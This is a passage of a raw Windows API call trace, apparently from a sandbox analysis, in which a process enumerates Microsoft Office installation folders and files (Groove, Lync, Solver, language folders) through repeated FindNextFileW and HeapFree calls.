out: hHeap=0x490000) returned 1 [0076.829] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 1 [0076.829] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.829] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Servers", cAlternateFileName="")) returned 0 [0076.829] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0076.829] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.829] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0076.832] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0076.832] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0076.832] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0076.833] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0076.833] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0076.833] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0076.833] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.834] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18681a5c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18ad3e4a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ad3e4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Sounds", cAlternateFileName="")) returned 1 [0076.837] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.837] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1907d846, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1907d846, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1 [0076.841] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0076.841] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1 [0077.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.205] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18ad3e4a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1bc991c1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1bc991c1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 0 [0077.205] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0077.205] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0077.208] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1907d846, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b6c9560, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b6c9560, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0077.210] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.210] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolData", cAlternateFileName="")) returned 1 [0077.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0077.214] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 1 [0077.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0077.214] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1983d259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x198634b7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198634b7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Computers", cAlternateFileName="COMPUT~1")) returned 0 [0077.214] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0077.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.214] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x197a4903, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1983d259, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1983d259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 0 [0077.214] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0077.214] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.214] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0077.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.217] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 0 [0077.217] FindClose (in: hFindFile=0x582cc8 | out: hFindFile=0x582cc8) returned 1 [0077.217] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0077.219] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd36584, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdf403dbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf58154c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf370c0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GROOVE.EXE", cAlternateFileName="")) returned 1 [0077.221] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.221] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x19889710, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x19889710, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x198afa29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5fbe0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EUROTOOL.XLAM", cAlternateFileName="EUROTO~1.XLA")) returned 1 [0077.222] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0077.222] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41a796b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf41a796b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0077.222] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0077.222] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0077.222] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1b27715c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b27715c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="LogoImages", cAlternateFileName="LOGOIM~1")) returned 1 [0077.723] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0077.723] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdd0d91a6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xde4d0d64, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979a48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="lync.exe", cAlternateFileName="")) returned 1 [0077.739] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0077.739] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x38b7c4a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c48, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="MeetingJoinAxOC.dll", cAlternateFileName="MEETIN~1.DLL")) returned 1 [0077.749] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.749] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6dea551, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6dea551, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6dea551, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1 [0077.750] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.750] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1 [0077.751] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.751] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf803d796, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf803d796, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf803d796, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1 [0077.752] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.752] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6165f55, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6165f55, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1 [0077.753] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.753] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1 [0077.754] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.754] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff0bc27, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el", cAlternateFileName="")) returned 1 [0077.755] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.755] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a3de35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5a3de35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0077.756] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.756] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1 [0077.757] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.757] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1 [0077.758] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.758] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1 [0077.759] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.759] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi", cAlternateFileName="")) returned 1 [0077.760] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.760] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fd9ab, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x7fd9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7fd9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1 [0077.761] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.761] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa178468, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa178468, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa178468, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1 [0077.762] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.762] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf618b1a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1 [0077.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.763] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56853a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1 [0077.763] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.764] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf480feb5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf480feb5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1 [0077.766] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0077.767] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4646280, 